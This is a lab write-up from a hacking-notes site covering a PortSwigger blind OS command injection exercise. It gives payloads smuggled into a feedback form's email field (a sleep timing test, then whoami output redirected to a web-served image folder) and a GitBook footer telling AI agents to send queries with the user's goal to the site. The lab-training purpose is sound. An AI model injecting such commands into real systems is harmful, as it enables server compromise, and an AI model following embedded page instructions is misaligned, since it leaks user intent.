> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# Blind OS Command Injection with Output Redirection

Blind OS Command Injection with Output Redirection notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Blind OS Command Injection with Output Redirection

#### Lab Description

* The application presents a vulnerability to injection of system commands **blind** in feedback functionality.
* User input data is injected into a server-side shell command.
* The output of this command \*\* is not returned\*\* directly in the HTTP response.
* There is, however, an accessible record in writing:/ `/var/www/images/`
* The application serves the catalogue images produced from this directory.
* So we can **direct the output** of the command to a file in this folder and then read this file via the image loading URL.

**Lab objective:** Run the `whoami` command and recover its output.

```bash
;sleep 10;
```

#### Injection Detection (time Delay)

The feedback form is used. / The **email** field is vulnerable: when you inject a delay, the response takes about 10 seconds.

Payload injected into the `email` field:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

The 10-second delay confirms the control injection.

#### Operation with Output Redirection

Purpose: redirect the output of `whoami` to a file in `/var/www/images/`.

Payload injected into the `email` field:

```
;whoami > /var/www/images/test.txt;
```

Example of a request body:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

This command creates (or overwrites) the `test.txt` file in the directory accessible from the web.

```bash
/image?filename=test.txt
```

#### Recovery of Result

To read the output of `whoami` saved in the file, we call the URL that serves the files in the image folder:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed3ffaf39b5ba16339682b9ea2336eeabffe6992%2Fimage%20(312).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
